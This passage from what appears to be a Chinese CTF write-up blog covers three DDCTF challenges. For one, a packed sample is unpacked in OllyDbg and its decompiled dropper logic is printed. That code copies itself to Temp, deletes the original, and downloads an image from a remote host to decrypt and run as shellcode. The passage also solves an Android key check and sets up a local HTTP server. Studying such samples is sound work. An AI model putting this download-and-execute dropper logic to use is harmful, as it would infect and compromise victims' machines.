}

for(int i = 1; i <= n; i++){
for(int j = 1; j <= n; j++)
fprintf(f, "%d ", path[i][j]);
fprintf(f, "\n");
}

fclose(f);

break;
}

case 4:{
char name1[20], name2[20];
int t;
f = fopen("AllPath.dat", "r");
fscanf(f, "%d", &n);
for(int i = 1; i <= n; i++)
fscanf(f, "%s", name[i]);
for(int i = 1; i <= n*(n-1)/2; i++){
fscanf(f, "%s %s %d", name1, name2, &t);
shortest[Search_Id(name1)][Search_Id(name2)] = t;
shortest[Search_Id(name2)][Search_Id(name1)] = t;
}

//以下是读取两个节点的最短路径与之间的距离
for(int i = 1; i <= n; i++)
for(int j = 1; j <= n; j++)
fscanf(f, "%d ", &map[i][j]);

for(int i = 1; i <= n; i++)
for(int j = 1; j <= n; j++)
fscanf(f, "%d ", &path[i][j]);


printf("All the locations:\n");
for(int i = 1; i <= n; i++)
printf("%s ",name[i]);
printf("\ninput two locations:");
scanf("%s%s",name1,name2);
int u = Search_Id(name1);
int v = Search_Id(name2);
if(u==-1 || v==-1)
printf("Invalid name!\n");
else printf("from %s to %s is %d\n", name1, name2, shortest[u][v]);

if(shortest[u][v]==INF)
printf("which means no path.\n");
else{
printf("path: ");
int k = u;
while(k != v){
printf(" %s ->(%d)-> ", name[k], map[k][path[k][v]]);
k = path[k][v];
}
printf(" %s\n",name[v]);
}
fclose(f);
break;
}
}
}while(Choice);
}

Evil_Exe(not totallly succeeded)

DD_Evil_Exe.7z

思路

程序双击打开后什么都没有发生,然后exe文件被删除了,取而代之的是一个docx文件

用ida打开该文件,显示无法翻译,怀疑使用了壳进行加密

查壳

用peid去查询壳类型

Snipaste_2019-06-14_00-18-08.png

显示是yoda’s Protector,使用对应的脱壳器进行脱壳,失败

去壳

用ollydbg手动去壳:

0x0043DCA8处是一个pushad,经过调试,程序会在此反复地pushad+popad地循环,所以直接设置eip至0x0043DCA2

0043DC85 > $  56            push esi                                 ;  evil.<ModuleEntryPoint>
0043DC86 . E8 00000000 call evil.0043DC8B
0043DC8B $ 5E pop esi ; kernel32.76B80419
0043DC8C . B8 90110000 mov eax,0x1190
0043DC91 . 81EE 8B8C0000 sub esi,0x8C8B
0043DC97 > E8 0C000000 call evil.0043DCA8
0043DC9C . 83C6 08 add esi,0x8
0043DC9F . 48 dec eax
0043DCA0 .^ 75 F5 jnz short evil.0043DC97
0043DCA2 . 5E pop esi ; kernel32.76B80419
0043DCA3 .^ E9 08FEFFFF jmp evil.0043DAB0

0043DCA8 /$ 60 pushad
0043DCA9 |. 56 push esi ; evil.<ModuleEntryPoint>
0043DCAA |. AD lods dword ptr ds:[esi]
0043DCAB |. 93 xchg eax,ebx
0043DCAC |. AD lods dword ptr ds:[esi]
0043DCAD |. 92 xchg eax,edx ; evil.<ModuleEntryPoint>
0043DCAE |. BF 74713414 mov edi,0x14347174
0043DCB3 |. BD 34443144 mov ebp,0x44314434
0043DCB8 |. B9 AC174798 mov ecx,0x984717AC
0043DCBD |. BE 15DCE8AF mov esi,0xAFE8DC15
0043DCC2 |. 33C0 xor eax,eax
0043DCC4 |> C1CB 08 /ror ebx,0x8
0043DCC7 |. 03DA |add ebx,edx ; evil.<ModuleEntryPoint>
0043DCC9 |. 33DF |xor ebx,edi ; evil.<ModuleEntryPoint>
0043DCCB |. C1C2 03 |rol edx,0x3
0043DCCE |. 33D3 |xor edx,ebx
0043DCD0 |. C1CD 08 |ror ebp,0x8
0043DCD3 |. 03EF |add ebp,edi ; evil.<ModuleEntryPoint>
0043DCD5 |. 33E8 |xor ebp,eax
0043DCD7 |. C1C7 03 |rol edi,0x3
0043DCDA |. 33FD |xor edi,ebp
0043DCDC |. 87F1 |xchg ecx,esi ; evil.<ModuleEntryPoint>
0043DCDE |. 87F5 |xchg ebp,esi ; evil.<ModuleEntryPoint>
0043DCE0 |. 40 |inc eax
0043DCE1 |. 3C 1B |cmp al,0x1B
0043DCE3 |.^ 75 DF \jnz short evil.0043DCC4
0043DCE5 |. 5F pop edi ; kernel32.76B80419
0043DCE6 |. 93 xchg eax,ebx
0043DCE7 |. AB stos dword ptr es:[edi]
0043DCE8 |. 92 xchg eax,edx ; evil.<ModuleEntryPoint>
0043DCE9 |. AB stos dword ptr es:[edi]
0043DCEA |. 61 popad
0043DCEB \. C3 retn

来到此处,又看到一个pushad,但是这个pushad后面的popad是找不到了,最好使用esp定律来寻找popad

按一下F8,并记录下esp的值 0x0019FF54

0043DAB0   > /60            pushad
0043DAB1 . |BE 00504300 mov esi,evil.00435000
0043DAB6 . |8DBE 00C0FCFF lea edi,dword ptr ds:[esi-0x34000]
0043DABC . |57 push edi ; evil.<ModuleEntryPoint>
0043DABD . |83CD FF or ebp,-0x1
0043DAC0 . |EB 10 jmp short evil.0043DAD2
0043DAC2 |90 nop
0043DAC3 |90 nop
0043DAC4 |90 nop

dd 0019FF54

设置硬件断点

Snipaste_2019-06-14_00-32-25.png

来到0x0043DC2E处

我开始没有分析出来,原来这里0x0043DC3B隐藏着一句jmp命令

0043DC2D   .  61            popad
0043DC2E . 8D4424 80 lea eax,dword ptr ss:[esp-0x80]
0043DC32 > 6A 00 push 0x0
0043DC34 . 39C4 cmp esp,eax
0043DC36 .^ 75 FA jnz short evil.0043DC32
0043DC38 . 83EC 80 sub esp,-0x80
0043DC3B . E9 db E9
0043DC3C . A6 db A6
0043DC3D . 48 db 48 ; CHAR 'H'
0043DC3E . FC db FC
0043DC3F . FF db FF
0043DC40 48 db 48 ; CHAR 'H'

手动分析之后得到

0043DC2D   .  61            popad
0043DC2E . 8D4424 80 lea eax,dword ptr ss:[esp-0x80]
0043DC32 > 6A 00 push 0x0
0043DC34 . 39C4 cmp esp,eax
0043DC36 .^ 75 FA jnz short evil.0043DC32
0043DC38 . 83EC 80 sub esp,-0x80
0043DC3B - E9 A648FCFF jmp evil.004024E6
0043DC40 48 db 48 ; CHAR 'H'

再F8几下,F4,并且去掉硬件断点(避免反复断)得到

004024E6    E8 BB2D0000     call evil.004052A6
004024EB ^ E9 78FEFFFF jmp evil.00402368

这是windows程序最明显的入口,一个call+一个jmp,我们只需要把这个地方作为入口点dump出来即可

Snipaste_2019-06-14_00-43-37.png

接下来就可以用ida来查看各个函数了

Snipaste_2019-06-14_12-56-48.png

程序大致思路:

将evil.exe文件本身复制到temp文件夹中,并且创建evil.docx文件

之后执行temp文件夹中的evil.exe (initialization)

到这里程序会return 6,使得winmain函数跳出,本目录下的evil.exe执行完毕

如果想继续用ollydbg调试的话,需要在mov eax, 6 把 6改为5,以便让程序不要结束

signed int __cdecl sub_401370(int a1)
{
char v2; // [esp+0h] [ebp-7BCh]
char DstBuf; // [esp+4h] [ebp-7B8h]
int v4; // [esp+21Ch] [ebp-5A0h]
char v5; // [esp+264h] [ebp-558h]
int v6; // [esp+370h] [ebp-44Ch]
char Src; // [esp+374h] [ebp-448h]
char Dst; // [esp+47Ch] [ebp-340h]
int v9; // [esp+588h] [ebp-234h]
char v10; // [esp+58Ch] [ebp-230h]
unsigned int v11; // [esp+59Ch] [ebp-220h]
int v12; // [esp+5A0h] [ebp-21Ch]
char v13; // [esp+5A4h] [ebp-218h]
CHAR File; // [esp+6ACh] [ebp-110h]

v6 = 0;
v12 = 0;
v11 = (*((int (__stdcall **)(int, char *, signed int))&byte_40B01C + 6))(a1, &v13, 261);
if ( v11 > 0x105 )
return 1;
v11 = (*((int (__stdcall **)(signed int, char *))&byte_40B01C + 5))(261, &Dst);
if ( v11 > 0x105 )
return 2;
_splitpath(&v13, 0, &File, &Src, &v5);
if ( strstr(&v13, "\\Temp\\") )
return 3;
strcat_s(&Dst, 0x105u, &Src);
if ( v5 != 46 )
strcat_s(&Dst, 0x105u, ".");
strcat_s(&Dst, 0x105u, &v5);
(*((void (__stdcall **)(char *, char *, _DWORD))&byte_40B01C + 4))(&v13, &Dst, 0);
strcat_s(&File, 0x105u, &Src);
strcat_s(&File, 0x105u, ".docx");
if ( !sub_4012E0(101, &v6, &v12) )
return 4;
v9 = (*((int (__stdcall **)(CHAR *, signed int, signed int, _DWORD, signed int, signed int, _DWORD))&byte_40B01C + 3))(
&File,
0x40000000,
1,
0,
2,
128,
0);
if ( v9 == -1 )
return 5;
(*((void (__stdcall **)(int, int, int, char *, _DWORD))&byte_40B01C + 2))(v9, v6, v12, &v2, 0);
(*((void (__stdcall **)(int))&byte_40B01C + 1))(v9);
sprintf_s(&DstBuf, 0x218u, "%s \"%s\"", &Dst, &v13);
memset(&v4, 0, 0x44u);
memset(&v10, 0, 0x10u);
v4 = 68;
byte_40B01C(0, &DstBuf, 0, 0, 0, 0, 0, 0, &v4, &v10);
ShellExecuteA(0, "open", &File, 0, 0, 1);
return 6; // 只要是正常执行evil.exe文件,都会返回6,所以到这里调试一定会结束
}

temp目录下的evil.exe开始执行

循环删除当前目录下的evil.exe (sub_401620) 这就是为什么运行一次程序就消失了

LPWSTR *sub_401620()
{
const WCHAR *v0; // eax
LPWSTR *result; // eax
int v2; // ST08_4
int pNumArgs; // [esp+4h] [ebp-8h]
LPWSTR *v4; // [esp+8h] [ebp-4h]

v0 = (const WCHAR *)(*((int (**)(void))&byte_40B01C + 9))();
result = CommandLineToArgvW(v0, &pNumArgs);
v4 = result;
if ( result && pNumArgs == 2 )//这个地方删除evil.exe文件
{
do
{
v2 = (*((int (__stdcall **)(LPWSTR))&byte_40B01C + 8))(v4[1]);
result = (LPWSTR *)(*((int (__stdcall **)(signed int))&byte_40B01C + 7))(512);
}
while ( !v2 );
}
return result;
}

www.ddctf.com

读取jpg文件(可以通过搭建http服务器解决,上篇文章写过了)

void *__cdecl sub_4018F0(unsigned int *a1)
{
unsigned int v2; // [esp+0h] [ebp-18h]
DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-14h]
BOOL v4; // [esp+8h] [ebp-10h]
void *v5; // [esp+Ch] [ebp-Ch]
HINTERNET hFile; // [esp+10h] [ebp-8h]
HINTERNET hInternet; // [esp+14h] [ebp-4h]

dwNumberOfBytesRead = 0;
v2 = 0;
hInternet = InternetOpenA("DDCTF", 0, 0, 0, 0);
hFile = InternetOpenUrlA(hInternet, "http://www.ddctf.com/x.jpg", 0, 0, 0x4000000u, 0);
if ( !hFile )
return 0;
v5 = malloc(0x100000u);
do
{
v4 = InternetReadFile(hFile, (char *)v5 + v2, 0x100000 - v2, &dwNumberOfBytesRead);
if ( !v4 )
break;
v2 += dwNumberOfBytesRead;
if ( !dwNumberOfBytesRead )
break;
}
while ( v2 < 0x100000 );
InternetCloseHandle(hFile);
if ( v2 <= 0x100000 )
{
*a1 = v2;
}
else
{
free(v5);
v5 = 0;
}
return v5;
}

进入dec1、dec2函数,将jpg文件解密

进入shell函数,在里面进行最后的解密,然后执行这个shell

关于ida的部分我就不贴了,因为这些指令主要是和汇编操作有关

这部分有两种解决方法

一种是调试,将解密的shellcode调试出来

另一种是计算,因为这是一个正向过程,很容易就能把解密函数的c代码复制下来,改改就能用了

这里我是用的调试法

直接在0x401220下断点

Snipaste_2019-06-14_12-56-48.png

由于ida分析,拖黑的部分即为shellcode的最后解密代码,我们就把程序F4到那个地方

这里是才执行完for循环的位置,eax寄存器里面还保存有lpAddress的地址,我们直接Ctrl+g查看对应的内存

果然出现了一段疑似flag的字符串,不过提交后发现答案不对,这是因为这段字符串不全是flag,这其实是一段shellcode,里面夹杂了汇编指令

那个0x68应该就是push指令了

Snipaste_2019-06-14_12-56-48.png

以下是失败的尝试,建议直接跳过

本来跳转没有实现,但是为了执行call edx ,我再一次无耻地改了eip

Snipaste_2019-06-14_12-56-48.png

本以为可以成功跳转到对应的shellcode,然而我失败了,最终手输的flag

贴一个其他师傅的成功截图,我反正是没成功调到那一步的,,,太菜了

https://blog.csdn.net/getsum/article/details/87902382

903673-20170526160217544-91070169.png

FindPass

FindPass_200.7z

思路

用jeb3.0解包apk文件,打开mainactivity,发现一个Getkey函数,思路非常明显

程序读取了src.jpg、fkey、input的内容,并且进行一定的加密操作,获得flag

public void GetKey(View arg16) {
String input = this.findViewById(0x7F080001).getText().toString();
if(TextUtils.isEmpty(input.trim())) {
goto label_57;
}

char[] fkey = this.getResources().getString(0x7F050003).toCharArray();
int v2 = fkey.length;
char[] from_jpg = new char[0x400];
try {
new InputStreamReader(this.getResources().getAssets().open("src.jpg")).read(from_jpg);
}
catch(Exception v3) {
v3.printStackTrace();
}

int v6;
for(v6 = 0; v6 < v2; ++v6) {
int v12 = from_jpg[fkey[v6]] % 10;
fkey[v6] = v6 % 2 == 1 ? ((char)(fkey[v6] + v12)) : ((char)(fkey[v6] - v12));
}

if(input.equals(new String(fkey))) {
Toast.makeText(((Context)this), "恭喜您,输入正确!Flag==flag{Key}", 1).show();
}
else {
Toast.makeText(((Context)this), "not right! lol。。。。", 1).show();
return;
label_57:
Toast.makeText(((Context)this), "请输入key值!", 1).show();
}
}

唯一有一点问题就是那个

char[] fkey = this.getResources().getString(0x7F050003).toCharArray()

经多方询问,最后明白这是一个读取内置字符串的函数,我们可以在

Resources/values/strings.xml

内找到,大多数的安卓软件都会把字符串放在这里面

solve

fkey = "Tr43Fla92Ch4n93"
fromjpg = [0xFF,0xD8,0xFF,0xE0,0x00,0x10,0x4A,0x46,0x49,0x46,0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00,0xFF,0xE1,0x00,0x30,0x45,0x78,0x69,0x66,0x00,0x00,0x4D,0x4D,0x00,0x2A,0x00,0x00,0x00,0x08,0x00,0x01,0x01,0x31,0x00,0x02,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x00,0x77,0x77,0x77,0x2E,0x6D,0x65,0x69,0x74,0x75,0x2E,0x63,0x6F,0x6D,0x00,0xFF,0xDB,0x00,0x43,0x00,0x03,0x02,0x02,0x03,0x02,0x02,0x03,0x03,0x03,0x03,0x04,0x03,0x03,0x04,0x05,0x08,0x05,0x05,0x04,0x04,0x05,0x0A,0x07,0x07,0x06,0x08,0x0C,0x0A,0x0C,0x0C,0x0B,0x0A,0x0B,0x0B,0x0D,0x0E,0x12,0x10,0x0D,0x0E,0x11,0x0E,0x0B,0x0B,0x10,0x16,0x10,0x11]
ans = ""

for i in range(len(fkey)):
t = 0
if(i % 2 == 1):
t = ord(fkey[i]) + (fromjpg[ord(fkey[i])] % 10)
else:
t = ord(fkey[i]) - (fromjpg[ord(fkey[i])] % 10)
ans = ans + chr(t)

ans = "flag{" + ans + "}"
print(ans)

正文

原料

linux系统(虚拟机),python

方法

首先cd到你想开服务器的目录下,再

sudo python -m SimpleHTTPServer [port]

e.g. sudo python -m SimpleHTTPServer 80

这样就在80端口开启了服务器

ubuntu:~/Desktop$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 …
192.168.133.1 - - [13/Jun/2019 05:05:26] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:05:26] code 404, message File not found
192.168.133.1 - - [13/Jun/2019 05:05:26] “GET /favicon.ico HTTP/1.1” 404 -
192.168.133.1 - - [13/Jun/2019 05:06:32] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:07:00] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:15:58] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:18:36] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:20:23] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:37:08] “GET /x.jpg HTTP/1.1” 200 -
192.168.133.1 - - [13/Jun/2019 05:38:55] “GET /x.jpg HTTP/1.1” 200 -

正常读取到http服务器下面的x.jpg